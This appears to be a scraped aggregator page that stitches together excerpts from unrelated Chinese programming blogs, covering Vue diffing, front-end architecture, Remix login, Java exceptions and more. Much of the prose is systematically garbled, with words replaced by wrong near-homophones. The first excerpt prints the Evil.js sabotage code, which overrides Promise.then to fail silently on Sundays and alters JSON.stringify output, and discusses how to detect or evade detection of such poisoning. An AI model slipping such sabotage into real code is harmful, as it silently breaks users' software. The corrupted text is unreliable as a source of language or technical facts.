视频移步B站 https://www.bilibili.com/vide... 最近Evil.js被探讨的很多，我的项目介绍如下 我的项目被公布到npm上后，引起了强烈的探讨，最终因为平安问题被npm官网移除，代码也闭源了 作为一个前端老司机，我必定是拥护这种行为，泄私愤有很多种形式，代码里下毒会被git log查到，万一守法了，还不如到职的时候给老板一个大逼兜来的解恨 明天咱们来讨论一下，如果你作为我的项目的负责人，如何甄别这种代码下毒 欢送退出前端学习，一起上王者,交个敌人 下毒手法最浮夸无奈的下毒手法就是间接替换函数，比方evil.js中，给JSON.stringify下毒了，把外面的I换成了l ，每周日prmise的then办法有10%的概率不触发，只有周日能触发着实有点损了, 并且npm的报名就叫lodash-utils，看起来的确是个正经库，后果被下毒 function isEvilTime(){ return new Date().getDay() === 0 && Math.random() < 0.1 }const _then = Promise.prototype.thenPromise.prototype.then = function then(...args) { if (isEvilTime()) { return } else { _then.call(this, ...args) }}const _stringify = JSON.stringifyJSON.stringify = function stringify(...args) { return _stringify(...args).replace(/I/g, 'l') }console.log(JSON.stringify({name:'Ill'})) // {"name":"lll"}检测函数toString检测函数是否被原型链投毒，我首先想到的办法就是检测代码的toString，默认的这些全局办法都是内置的，咱们在命令行里执行一下 咱们能够简略粗犷的查看函数的toString function isNative(fn){ return fn.toString() === `function ${fn.name}() { [native code] }`}console.log(isNative(JSON.parse)) // trueconsole.log(isNative(JSON.stringify)) // false不过咱们能够间接重写函数的toString办法，返回native这几个字符串，就能够越过这个查看 ...

VUE3.0对diff过程进行了大降级，去掉了针对下标key的查找，而是变成了计算能够起码挪动dom的计划，而后在进行dom更新，而要想看懂vue3.0中diff算法，首先须要先对最长递增子序列的求解有一个根本的理解，因为vue就是在它的根底上来一直打磨、欠缺的diff算法。 求解最长递增子序列leetcode300给你一个整数数组nums，找到其中最长严格递增子序列的长度 示例: 输出：nums = [10, 9, 2, 5, 3, 7, 101, 18] 输入：4 解释：最长递增子序列是 [2, 3, 7, 101]，因而长度为 4 。动静布局：O(n²)定义：dp[i]代表以num[i]结尾的最长子序列的长度 转移方程： 双层遍历：比照num[i]和num[i]之前的数据当num[i]>num[j]时，num[i]就能够拼接在num[j]后，此时num[i]地位的回升子序列长度为：dp[i]+1当num[i]<num[j]时，num[i]和num[j]无奈形成回升子序列，跳过计算出dp[i]中最大的值即为计算结果function lengthOfLIS(nums: number[]): number { const len:number = nums.length if (len <=1 ) return len; let dp:number[] = new Array(len).fill(1) for (let i = 0; i < nums.length; i++) { for (let j = 0; j < i; j++) { if (nums[i] > nums[j]) { dp[i] = Math.max(dp[i], dp[j] + 1) } } } return Math.max(...dp)}; 计算过程图： ...

前端跨端复用实际(一)咱们的页面次要由两局部组成：1.逻辑 2. 视图如果想要跨端复用的话，那么能够从这两方面动手个别跨端的页面有几种状况 需要一样，对应页面中的逻辑也就齐全一样，视图层只是应用的UI组件名字不一样(h5中写div,小程序中写View)，须要齐全复用逻辑层需要局部一样，对应起来就是逻辑和UI组件也是只有局部的差别，须要复用公共局部需要齐全不一样，不同端各自写本人的，不须要复用对应的有2种复用计划 复用逻辑，多端各自注入UI组件将逻辑抽离到一个公共的common模块中，而后在各端的我的项目中，引入对应逻辑实现，将逻辑注入到UI组件中具体代码见： // model.tsxexport const model = (props: any) => { const [name, setName] = useState(props.name) const [age, setAge] = useState(props.age); return { name, setName, age, setAge, ...props }}// mini view.tsximport { model } from './common/model'const miniView = (props: any) => { const { name, setName, age, setAge } = model(props) return <View onClick={setName}> <Text>{name}</Text> <Input value={age} onChange={setAge} /> </View>}//h5 view.tsximport { model } from './common/model'const h5View = (props: any) => { const { name, setName, age, setAge } = model(props) return <div onClick={setName}> <p>{name}</p> <Input value={age} onChange={setAge} /> </div>}这样做的益处 ...

/** * 职责链模式 */ export class Chain { constructor(fn) { this.fn = fn this.successor = null } setNextSuccessor(successor) { return (this.successor = successor) } async passRequest() { const res = await this.fn.apply(this, arguments) if (res === 'nextSuccessor' && this.successor) { return await this.successor.passRequest.apply(this.successor, arguments) } return res } } /** * 应用职责链模式进行保留前的校验 * @param {Object} data 须要校验的数据 */ async function validate(data) { // 校验：小计金额最大值限度 function validateAmountMax() { const index = data.findIndex((item) => item.Amount >= 99999999) if (index > -1) { return new Promise((resolve) => { const modal = Modal.confirm({ title: '提醒', content: '小计金额不能超过99999999', icon: createVNode(ExclamationCircleOutlined), okText: '确定', cancelText: createVNode(), async onOk() { nextTick(() => modal.destroy()) resolve(false) } }) }) } return 'nextSuccessor' } // 校验：洽购价格是否高于加权平均价 function validateInPriceHigherThanAutoPrice() { // 判断洽购设置中是否启用了：“洽购价格高于加权平均价时，进行提醒”，如果启用了， // 当存在某一商品的洽购价格高于加权平均价时，弹框提醒 if (purchaseSettings.value.InPriceHigherThanAutoPrice == 'Y') { const needTip = data.some((item) => item.Price > item.CostPrice) if (needTip) { return new Promise((resolve) => { const modal = Modal.confirm({ title: '确认', content: '存在商品的以后价格高于加权平均价，是否持续保留？', icon: createVNode(ExclamationCircleOutlined), okText: '确定', cancelText: '勾销', async onOk() { nextTick(() => modal.destroy()) resolve('nextSuccessor') }, async onCancel() { nextTick(() => modal.destroy()) resolve(false) } }) }) } } return 'nextSuccessor' } // 校验：生鲜商品容许价格高于商品档案进价 function validateFreshAllowInPriceHigherThanItemPrice() { // 洽购设置中不启用：“生鲜商品容许价格高于商品档案进价”，那么当一个商品为生鲜商品， // 且价格高于档案进价时，弹框提醒 if (purchaseSettings.value.FreshAllowInPriceHigherThanItemPrice == 'N') { const needTip = data.some((item) => item.IsFresh && item.Price > item.PurcPrice) if (needTip) { return new Promise((resolve) => { const modal = Modal.confirm({ title: '提醒', content: '洽购设置设置了不容许生鲜商品价格高于商品档案进价，请从新输出价格！', icon: createVNode(ExclamationCircleOutlined), okText: '确定', cancelText: createVNode(), async onOk() { nextTick(() => modal.destroy()) resolve(false) } }) }) } } return true } // 将三个校验函数包装成职责链节点 const valAmount = new Chain(validateAmountMax) const valCostPrice = new Chain(validateInPriceHigherThanAutoPrice) const valFresh = new Chain(validateFreshAllowInPriceHigherThanItemPrice) // 指定节点在职责链中的程序 valAmount.setNextSuccessor(valCostPrice).setNextSuccessor(valFresh) // 把申请传递给第一个节点 return await valAmount.passRequest() } // 保留 async function save(data) { if (!(await validate(data))) return false // ....... 调接口进行保留 }

背景公司业务需要把原始的单机游戏升级成联机对战型游戏，近期刚好看到华为平台联机对战SDK的文档公布。C#语言接入领导文档 问题复现步骤SDK下载导入因为原始游戏在Unity 2017版本开发，始终都没有更新。所以本次SDK测试demo也采纳的是老版本Unity。依照文档集成SDK步骤，下载联机对战SDK压缩包。解压关上后如下图：SDK 导入到工程中咱们目前游戏次要是Android平台，依照文档要求全副导入后，删除了Windows_x64和Windows_x86文件夹，如下图文档所示：Build Apk打包报错如下： Found plugins with same names and architectures, Assets/HuaweiPluins/Android/libs/armeabi-v7a/libRtsaDllExport.so () and Assets/HuaweiPluins/Android/libs/arm64-v8a/libRtsaDllExport.so (). Assign different architectures or delete the duplicate.解决解决首先从谬误看是相干文件夹中有同名文件抵触导致谬误。也看到文档中有提醒“如果帧同步过程中不应用UDP协定，则您可将压缩包中的Android、Windows_x64和Windows_x86文件夹均删除，以放弃包体最小”，所以就删除了Andriod文件下，并把外面文件全都复制进去。如下图：执行打包再次报错如下： ArgumentException: The Assembly System.Runtime is referenced by System.Memory ('Assets/HuaweiPluins/System.Memory.dll'). But the dll is not allowed to be included or could not be found.从网上搜寻相干材料大多：关上Build Settings–>Player Settings面板，other Settings中，将Api Compatibility level变更为.NET 2.0即可 问题解决 起初通过一直的尝试和察看，当咱们点击任意一个SDK文件时，看选项卡： 选中Exclude Platform 下三个选项并点击右下角的“Apply”按钮： 能够一次性选中全副SDK文件进行“Apply”导入，困扰一天的的问题最终解决。

可能一些同学会认为前端比较简单而不须要架构，或者因为前端交互细节杂而乱难以对立形象，所以没方法进行架构设计。这个了解是全面的，尽管一些前端我的项目是没有认真思考架构就堆起来的，但这不代表不须要架构设计。任何业务程序都能够通过代码堆砌的形式实现性能，但背地的可维护性、可拓展性天然也就千差万别了。 为什么前端我的项目也要思考架构设计？有如下几点起因： 从必要性看，前后端利用都跑在计算机上，计算机从硬件到操作系统，再到下层库都是有清晰架构设计与分层的，应用程序作为最上层的一环也是嵌入在整个大架构图里的。从可行性看，交互尽管多而杂，但这不形成不须要架构设计的理由。对计算机根底设计来说，也面临着多种多样的输出设施与输出设备，进而产生的规范输入输出的形象，那么前端也该当如此。从狭义角度看，大部分通用的约定与模型早已积淀下来了，如编程语言，前端框架自身就是业务架构的一部分，用 React 哪怕写个 “Hello World” 也应用了数据驱动的设计理念。从必要性看，尽管操作系统和各类根底库屏蔽了底层实现，让业务能够仅关怀业务逻辑，大大解放了生产力，但一款利用必然是底层操作系统与业务层代码协同能力运行的，从应用程序往下有一套逻辑井然的架构分层设计，如果到了业务层没有很好的架构设计，技术形象是一团乱麻，很难设想这样造成的整体运行环境是衰弱的。 业务模块的架构设计该当相似计算机根底的架构设计，从需要剖析登程，设计有哪些业务子模块，并定义这些子模块的职责与子模块之间的关系。子模块的设计取决于业务的个性，子模块间的分层取决于业务的拓展能力。 比方一个绘图软件设计时只有须要组件子系统与布局子系统，它们之间相互独立，也能无缝联合。对于 BI 软件来说，就减少了筛选联动与通用数据查问的概念，因而对应的也会减少筛选联动模型、数据模型、图形语法这几个子模块，并依照其作用关系高低分层： <img width=400 src="https://s1.ax1x.com/2022/08/21/vyrS0K.png"> 如果分层清晰而精确，能够看出这两个业务下层具备雷同的形象，即最上层都是组件与布局的联合，而筛选联动与数据查问，以及从数据模型映射到图元关系的映射性能都属于附加项，这些项移除了也不影响零碎的运行。如果不这么设计，可能就理不清零碎之间的类似点与差别点，导致性能耦合，要保护一个大零碎可能要时刻关系各模块之间的相互影响，这样的零碎即不清晰，也不够可拓展，要害是要保护它的了解老本也高。 从可行性看，前端的特点在于用户输出的触点十分多，但这不障碍咱们形象规范输出接口，比方用户点击按钮或者输入框是输出，那键盘快捷键也是一种输出形式，URL 参数也是一种输出形式，在业务前置的表单配置也是一种输出形式，如果输出形式很多，对规范输出的形象就变得重要，使业务代码的理论复杂度不至于真的收缩到用户应用的复杂度那么高。 不止输出触点多，前端零碎的性能组合也十分多，比方图形绘制软件，画布能够放任意数量的组件，每个组件有任意多的配置，组件之间还能够相互影响。这种零碎属于开放式系统，用户很容易试出开发者都未曾想到过的性能组合，有些时候开发者都惊叹这些新的组合居然能一起工作！用户会感叹软件能力的弱小，但开发者不能真的把这些性能组合一一尝试来解决抵触，必须通过正当的分层形象来保障性能组合的稳定性。 其实这种挑战也是计算机面临的问题，如何设计一个通用架构的计算机，使下面能够运行任何开发者软件，且软件之间能够互相独立，也能够互相调用，零碎还不容易产生 BUG。从这个角度来看，计算机的底层架构设计对前端架构设计是有参考意义的，大体上来说，计算机通过硬件、操作系统、软件这个三个分层解决了要计算所有的难题。 冯·诺依曼体系就解决了硬件层面的问题。为了保障软件层的可拓展性，通过 CPU、存储、输入输出设施的形象解决了计算、存储、拓展的三个根本能力。再细分来看，CPU 也仅仅反对了三个根本能力：数学计算、条件管制、子函数。这使得计算机底层设计既是稳固的，设计因素也是可枚举的，同时领有了弱小的拓展能力。 操作系统也一样，它不须要晓得软件具体是怎么执行的，只须要给软件提供一个平安的运行环境，使软件不会受到其他软件的烦扰；提供一些根本范式对立软件的行为，比方多窗口零碎，避免软件同时在一块区域绘图而相互影响；提供一些根底的零碎调用封装给下层的语言进行二次封装，而思考到这些零碎调用封装可能会随着需要而拓展，进而采纳动态链接库的形式实现，等等。操作系统为了让本身性能稳固与可枚举，对本人与软件定义了清晰的边界，无论软件怎么拓展，操作系统不须要拓展。 回到前端业务，想要保障一个简单的绘图软件代码清晰与好的可维护性，一样须要从最底层稳固的模块开始网上，一步步构建模块间依赖关系，只有这样，模块内逻辑能力可枚举，模块与模块间才敢大胆的组合，各自设计各自的拓展点，使整个零碎最终领有弱小的拓展能力，但细看每个子模块又都是简略清晰、可枚举可测试的代码逻辑。 以 BI 零碎举例，划分为组件、筛选、布局、数据模型四个子系统的话： 对组件零碎来说，任何组件实现都可接入，这就使这个 BI 零碎不仅能够展现报表，也能够展现一般的按钮，甚至表单，能够搭建任意数据产品，或者能够搭建任意的网站，能力拓展到哪齐全由业务决定。对筛选零碎来说，任何组件之间都能关联，不肯定是筛选器到图表，也能够是图表到图表，这样就反对了图表联动。不仅是 BI 联动场景，即使是做一个表单联动都能够复用这个筛选能力，使整个零碎实现对立而简略。对布局零碎来说，不关怀布局内的组件是什么，有哪些关联能力，只有做好布局就行。这样画布零碎容易拓展为任何场景，比方生产效率工具、仪表盘、ppt 或者大屏，而对其余零碎无影响。对数据模型零碎来说，其承当了数据配置到 sql 查问，最初映射到图形通道展现的过程，它自身是对组件零碎中，统计图表类型的形象实现，因而尽管逻辑简单，但也不影响其余子系统的设计。从狭义角度看，前端业务代码早就处于一系列架构分层中，也就是编程语言与前端框架。编程语言与前端框架会自带一些设计模式，以缩小混用代码范式带来的沟通老本，其实架构设计自身也要解决代码一致性问题，所以这些内容都是架构设计的一环。 前端框架带来的数据驱动个性自身就很大水平上解决了前端代码在简单利用下可保护问题，大大降低了过程代码带来的复杂度。React 或 Vue 框架自身也起到了相似操作系统的操作，即定义下层组件（软件规格）的规格，为组件渲染和事件响应抹平浏览器差别（硬件差别），并提供组件渲染调度性能（软件调度）。同时也提供了组件间变量传递（过程通信），让组件与组件间通信合乎对立的接口。 然而没有必要把每个组件都类比到过程来设计，也就是说，组件与组件之间不必都通过通信形式工作。比拟适合的类比粒度是模块，把一个大模块形象为组件，模块与模块间相互不依赖，用数据通信来交换。小粒度组件就做成状态无关的元件，留神类似性能的组件接口尽量保持一致，这样就能体验到相似多态的益处。 所以话说回来，遵循前端框架的代码标准不是一件可有可无的事件，业务架构设计从编程语言和前端框架时就曾经开始了，如果一个组件不遵循框架的最佳实际，就无奈参加到更下层的业务架构布局里，最终可能导致我的项目凌乱，或者无架构可言。所以器重架构设计从代码标准就要开始。 所以前端架构设计是必要的，那怎么做好前端架构设计呢？这个话题太过于宏大，本次就从操作系统借鉴一些灵感，先谈一谈对分层与形象的了解。 没有相对的分层分层是架构设计的重点，但一个模块在分层的地位可能会随着业务迭代而变动，类比到操作系统举两个例子： 语音输入当初由各个软件自行提供，背地的语音辨认与 NLP 能力可能来自各大公司的 AI 中台，或者一些提供 AI 能力的云服务。但语音输入能力成熟后，很可能会成为操作系统内置能力，因为语音输入与键盘输入都属于规范输出，只是语音输入难度更大，操作系统短期难以内置，所以目前倒退在各个下层利用里。 Go 语言的协程实现在编程语言层，但其对标的线程实现在操作系统层，协程运行在用户态，而线程运行在内核态。但如果哪天操作系统提供了更高效的线程，内存占用也采纳动静递增的逻辑，说不定协程就不那么必要了。 按理说语音输入属于规范输出的一部分，应该实现在操作系统的通用输出层，协程也属于多任务处理的一部分，应该实现在操作系统多任务处理层，但它们都被是当初了更下层，有的在编程语言层，有的在业务服务层。之所以产生了这些意外，是因为通用输入输出层与多任务处理层的需要并没有设想中那么稳固，随着技术的迭代，须要对其拓展时，因为内置在底层不不便拓展，只能在更下层实现了。 当然咱们也要留神到的是，即使这些拓展点实现在更下层，但对软件工程师来说并没有特地大的侵入性影响，比方 goroutine，程序员并不接触操作系统提供的 API，所以编程语言层对操作系统能力的拓展对程序员是通明的；语音输入就有一点影响了，如果由操作系统来实现，可能就变成与键盘输入保持一致的事件构造了，但由业务层实现就有无数种 API 格局了，业务流程可能也更加简单，比方减少鉴权。 从计算机操作系统的例子咱们能够学习到两点： 站在分层合理性视角对输出做进一步的形象与整合。比方将语音辨认封装到规范的输出事件，让其逻辑上成为规范输出层。业务架构的设计必然也会遇到分层不满足业务拓展性的场景。业务分层与硬件、操作系统不同的是，业务分层中，简直所有层都不便批改与拓展，因而如果遇到分层不合理的设计，最好将其挪动到应该归属的层。操作系统与硬件层不不便随便拓展的起因是版本更新的频率和软件更新的频率不匹配。 同时，也要意识到分层须要一个演进过程，等新模块稳固后再挪动到其归属所在层可能更好，因为从下层挪到底层意味着更多被模块共享应用，就像咱们不会轻易把软件层某个包提供的函数内置到编程语言一样，也不会随便把编程语言实现的函数内置到操作系统内置的零碎调用。 在前端畛域的一个例子是，如果一个搭建平台我的项目中曾经有了一套组件元信息形容，最好先让其在业务代码里跑一段时间，察看一下元信息定义的属性哪些有缺失，哪些是不必要的，等业务稳固一段时间后，再把这套元信息运行时代码抽成一个通用包提供给本业务，甚至其余业务应用。但即使这个能力积淀到了通用包，也不代表它就是永远不能被迭代的，操作系统的多任务治理都有协程来挑战，何况前端一个形象包的能力呢？所以要谨慎形象，但形象后也要敢于质疑挑战。 没有相对的形象形象粒度永远是架构设计的难题。 计算机把所有都了解为数据。计算结果是数据，执行程序的代码也是数据，所以 CPU 只有专一于对数据的计算，再加上存储与输入输出，就能够实现所有工作。想一想这样形象的平凡之处：所有程序最终对计算机来说都是这三个概念，CPU 在计算时无需关怀任何业务含意，这也使得它能够计算任何业务。 另一个有争议的形象是 Unix 所有皆文件的形象，该形象使文件、过程、线程、socket 等治理都形象为文件的 API，且都领有特定的 “文件门路”，比方你甚至能够通过 /proc 拜访到过程文件夹，ls 能够看到所有运行的过程。当然过程不是文件，这只是阐明了 Unix 的一种形象哲学，即 “文件” 自身就是一种形象，开发和能够用了解文件的形式了解所有事物，这带来了微小的了解老本升高，也使许多代码模式能够不关怀具体资源类型。但这样做的争议点在于，并不是所有资源都适宜形象成文件，比方输入输出中的显示器，它作为一个出现五彩缤纷像素点的载体，切实难以用文件系统来对立形容。 ...

引子在 Filed Play：简介中提到了这个办法，查资料理解了一下。 OriginMy GitHub相干概念极限有时不能间接计算某个值，但能够看看逐步靠近时的状况，看上面的例子： 当 x = 1 时，发现后果是 0/0 ，这个在数学上是未定式，是不确定的。那看看靠近的状况： xf(x)0.51.50.91.90.991.990.99991.99990.9999991.999999发现当 x 靠近 1 的时候，f(x) 越来越靠近 2 ，这种状况就是极限。 咱们能够说当 x 趋近 1 时，f(x) 的极限是 2 ，用符号示意就是： 更加正式的定义见这里。 导数设函数 f(x) 在 x0 有定义，如果以下极限存在： 则称 f(x) 在 x0 处可导，上述极限值为 f(x) 在 x0 处的导数，记作 f'(x0) 。 导数形容的是函数的变化率，在几何中能够通过导数计算出某一点切线的斜率。 求导法令见这里。 微分设函数 y=f(x) 在 x0 处间断，若存在实数 A ，使得: 其中 △x -> 0 ，则称 f(x) 在 x0 处可微，线性局部 A△x 为 f(x) 在 x0 处的微分，记作 dy 。 ...

javascript技术栈 - Day01 : 只有不猝死 , 就往死里卷 ~~~ 一、javascript的根本数据类型有哪些 null undefinedbooleanstringnumberbigintsymbol二、null根本类型的具体应用 1.null的作用个别是申明一个变量行将绑定一个对象,然而未绑定对象前的一个申明 let hd; hd = null; // hd变量行将绑定一个援用类型hd = { name : "范冰冰" }2.a变量是一个援用类型,咱们将a变量赋值给b变量,此时咱们再将a赋值为null,那么b是null还是援用a的内存地址???let a = {name : "王百强"}let b = a;a = null; // a ---> null console.log(b); // b ---> {name : "王百强"}3.null的隐式类型转换1. 转换为string类型null + 'hello' // 'nullhello' 字符串与任何类型相加都是拼接String（null）// null (切记 : null没有办法)2. 转换为number类型123 * null // 0 (null被转换为number类型的时候就是数值0)123 + null // 123Number(null) // 0parseInt(null) // NaN (无奈计算转换)3. 转换为boolean类型Boolean(null) // falsenull + true // 1 （null会转换为0,true会转换为1）4. typeof null // object三、undefined根本类型的详情应用 ...

文章内容 - 34

一.JS的类和对象 1.用CLASS，申明一个类，类名仍然大写2.类外面有个constructor函数，能够接管传递过去的参数，同时返回实例对象3.constructor函数不须要加function！！！！！！！！！！！！！！！！！！！！！！4.constructor函数只有new生成实例时，就会被调用5.！！！！！！！！！类名后没有小括号（）！！！！！！！！！！！！！！ 二.对于构造函数 1.构造函数里的属性和办法称为成员，成员能够增加2.构造函数的动态成员和实例成员3.构造函数里能够增加一些成员，能够在构造函数自身上增加，也能够在构造函数外部的this上增加4.肯定要实例化对象！！！！！！！！！！！！！！！！！！！！！！！！！！ 三.对于prototype,--proto-- 1.构造函数具备prototype,对象具备--proto—属性2.每一个构造函数都有一个prototype属性，指向另一个对象，这个对象所有的属性和对象都会被构造函数所领有3.个别状况下，公共的办法放在原型对象上，公共的属性放在构造函数里 之所以，s1可能拜访Way1,是因为s1存在--proto--属性指向构造函数的原型对象留神到，Way的原型对象等于s1的对象原型 办法的查找规定：先看s1自身有无办法，如果有就执行，没有，就去构造函数的原型对象（Way.prototype）身上去找 原型对象的constructor属性：constructor属性指向构造函数，记录该对象援用于哪个构造函数很多状况下，须要手动把constructor属性指回原来的构造函数 成员查找机制：依照原型链，对象自身没有的话，找对象的--proto--，再没有，找--proto--，直到null 利用原型对象扩大内置对象办法： 四.对于this指向 1.独自的this，指向windows对象 alert(this) //this-->window2.全局函数中的this，指向window对象 function demo (){ alert(this)}// this-->window demo()3.严格模式下，undefined function demo ( ) { 'use strict'alert(this) //undefined}demo()4.构造函数里的this,指向实例化对象（构造函数的原型对象的this也是一样指向） function demo (){ //alert(this) //this-->objectthis.testStr = 'this is a test'} let a = new demo()alert(a.testStr)5.call办法里的this function demo () {alert(this)}demo.call('abc') //abcdemo.call(null) //this-->windowdemo.call(undefined) //this-->undefined

谷歌出品的收费开源在线图片压缩工具，成果惊人，反对多种格局。 对于 SquooshSquoosh 是谷歌出品的一款在线图像压缩工具，应用简略，有极高的压缩比，可能帮忙咱们把图片大小进行压缩，不论是设计 UI 切图、自媒体文章配图还是 PPT 配图这样的应用场景，都要用到压缩图片。 咱们晓得，具备超高压缩比的 webp 图片格式，就是谷歌公布的，而 Squoosh 也是一个面向开发者推广 webp 图片格式的开发工具。 Squoosh 的性能个性压缩率很高，在保留图片清晰度的同时大幅升高文件大小应用简略，关上浏览器就，拖入或抉择图片就能应用反对生成 JPG / PNG / WEBP 等多种罕用图片格式反对高级的压缩性能，比方旋转、裁剪、调色、平滑等反对开发者集成在本人的我的项目中，通过简略的 api 来实现图片压缩利用浏览器本身的算力来实现压缩，不会上传图片，速度快，也很平安应用 Squoosh 来压缩图片压缩图片咱们个别会想到用 Photoshop 这样的业余图像处理软件，不过明天介绍的 Squoosh 应用起来非常简单，在浏览器中关上 Squoosh 的网址后，点击抉择图片或间接把图片拖进网页里，默认就会生成压缩预览，拖动两头的分隔线能够比照压缩前后的成果。 在左下方显示压缩后的大小，也能够更改输入的图片格式，如果对大小不称心，还能够调整图片品质，最初间接下载图片即可。 不过 Squoosh 这个在线工具貌似以“炫技”为主，对于想要压缩大量图片的需要，目前还是不反对，只能一张一张压缩，体验有些欠缺，而且只反对英文界面，高级压缩选项有很多图像相干的专业名词，不容易了解。 开发集成图片压缩性能谷歌开发并且开源这款工具的初衷，是心愿更多开发者应用它来升高图片的大小的同时还保障了图片品质，使用户取得更快的上网体验。 目前 Squoosh 提供 CLI 命令行和 api 的开发方式，应用 api 开发者能够很不便地集成到本人的我的项目中。上面是 api 形式开发集成的办法： Squoosh 还反对通过 node.js 在后端应用，更全的 api 调用可间接拜访 github 代码仓库中的这个目录。 之前举荐过的 tinypng 、图压都是简略好用的收费图片压缩工具，tinypng 尽管也反对开发者调用，然而须要注册开发者账号，图片也须要上传到 tinypng 的服务器去压缩，每月只有可怜的 200 张收费额度，超过后需付费应用。而 Squoosh 不仅完全免费，所用代码也齐全开源，堪称是大厂的良心之作。 ...

视频地址： https://www.bilibili.com/vide... 初始化我的项目Remix 官网：https://remix.run/ 创立命令： npx create-remix@latest目前我的项目源码位于： https://github.com/willin/bet... 配置eslintprettiereditorconfig可选项： lint-stagedhusky装置依赖tailwindcssdaisyui@tailwindcss/typographypostcsspm2创立 Authing 用户池及利用创立登录、登记接口 登录接口import { redirect } from '@remix-run/node';export const loader = async () => { return redirect( `${process.env.AUTHING_SSO_URL}/login?app_id=${process.env.AUTHING_APP_ID}` );};登记接口import { redirect } from '@remix-run/node';export const loader = async () => { return redirect( `${process.env.AUTHING_SSO_URL}/logout?redirectUri=${encodeURIComponent( process.env.HOMEPAGE || 'https://willin.wang' )}` );};登录回调 callbackimport { json, redirect } from '@remix-run/node';export type OidcResponse = { error?: string; error_description?: string; access_token: string; expires_in: number; id_token: string; scope: string; token_type: string;};export const loader = async ({ request }) => { const url = new URL(request.url); const code = url.searchParams.get('code'); if (code === null) { return redirect('/login'); } const body = { client_id: process.env.AUTHING_APP_ID, client_secret: process.env.AUTHING_APP_SECRET, grant_type: 'authorization_code', code }; const formBody = []; // eslint-disable-next-line for (const property in body) { const encodedKey = encodeURIComponent(property); // eslint-disable-next-line @typescript-eslint/ban-ts-comment // @ts-ignore // eslint-disable-next-line @typescript-eslint/no-unsafe-argument const encodedValue = encodeURIComponent(body[property]); formBody.push(`${encodedKey}=${encodedValue}`); } const res = await fetch(`${process.env.AUTHING_APP_DOMAIN}/oidc/token`, { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' }, body: formBody.join('&') }); const oidcToken = (await res.json()) as OidcResponse; if (oidcToken.error) { console.error(oidcToken); return redirect('/login'); } // 以上获取 oidc token 为外围局部 // 上面依据业务须要去操作其余 const resInfo = await fetch( `${process.env.AUTHING_APP_DOMAIN}/oidc/me?access_token=${oidcToken.access_token}` ); // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment const user = await resInfo.json(); return json(user);};

目录 在日常程序设计当中，咱们的程序难免会呈现各种各样的问题，比方格局谬误、标点符号有误、输出不匹配、数组越界等，其中有的属于语法错误，有的则属于异样。 意识异样察看以下几种写法，能够看到， 在Java中，不同的异样有对应的类进行形容 。 算术异样： 数组越界： 空指针： 异样的实质 咱们从此图来剖析：咱们所说的异样涵盖着许多类，有Throwable类、Exception、        RuntimeException等等。 Throwable：属于异样体系的顶层类，其派生出两个子类：Error和Exception； Error：属于Java虚拟机无奈解决的严重错误。如：JVM外部谬误、资源耗尽等； Exception：这便是咱们常说的异样，能够由程序员解决的异样，其默认是编译时异样。 异样的分类异样是依据程序执行的工夫来分类的，次要有程序编译时异样和运行时异样两种，除此之外还有一种自定义异样，在最初解说。 1.编译时异样程序在编译时产生的异样，也称为 受查异样 ； 既然是在编译时呈现了异样，那么程序想要执行，咱们就必须想方法解决掉这样的异样。 2.运行时异样程序在运行期间呈现的异样，也称为 非受查异样 ； 所有运行时异样的父类都是RuntimeException 异样的解决咱们始终在讲异样的呈现，那具体要怎么解决这些异样呢？ 异样的解决次要有两种，异样须要捕捉，也能够被动抛出异样，上面将认真分析： 解决形式：1.LBLY事先防御型：在操作之前就做好短缺的筹备，一旦某一步出现异常就须要解决或者终止。 2.EAFP预先认错型：try-catch，先将所有流程走完，最初再报出呈现的异样，再依据状况解决或终止； 这种写法的益处是失常流程与异样解决离开，便于浏览，代码清晰。 异样的抛出当咱们晓得所写的程序中某个局部容易出现异常的时候，能够在执行处被动抛出异样，这样便于察看找到问题。 在Java中能够借助throw关键字，将异样对象抛给调用者； throw必须写在办法体外部； 抛出的对象必须是Exception 或者Exception 的子类对象；如果只抛出Exception，那么默认是受查异样；如果抛出的是 RunTimeException 或者 RunTimeException 的子类，则能够不必解决，间接交给JVM来解决，然而一旦交给JVM解决，程序就会终止；如果抛出的是编译时异样，用户必须解决，否则无奈通过编译；异样一旦抛出，其后的代码就不会执行；当须要抛出受查异样时：不能只抛不解决； 解决办法：1.try - catch —— 本人解决； 2. throws申明 —— 交给JVM解决； 异样的申明当办法中抛出 编译时异样 ，用户不想解决该异样，此时就能够借助throws将异样抛给办法的调用者来解决。即以后办法不解决异样，揭示办法的调用者解决异样。 异样的捕捉应用try - catch ：try中存储可能呈现问题的代码； ...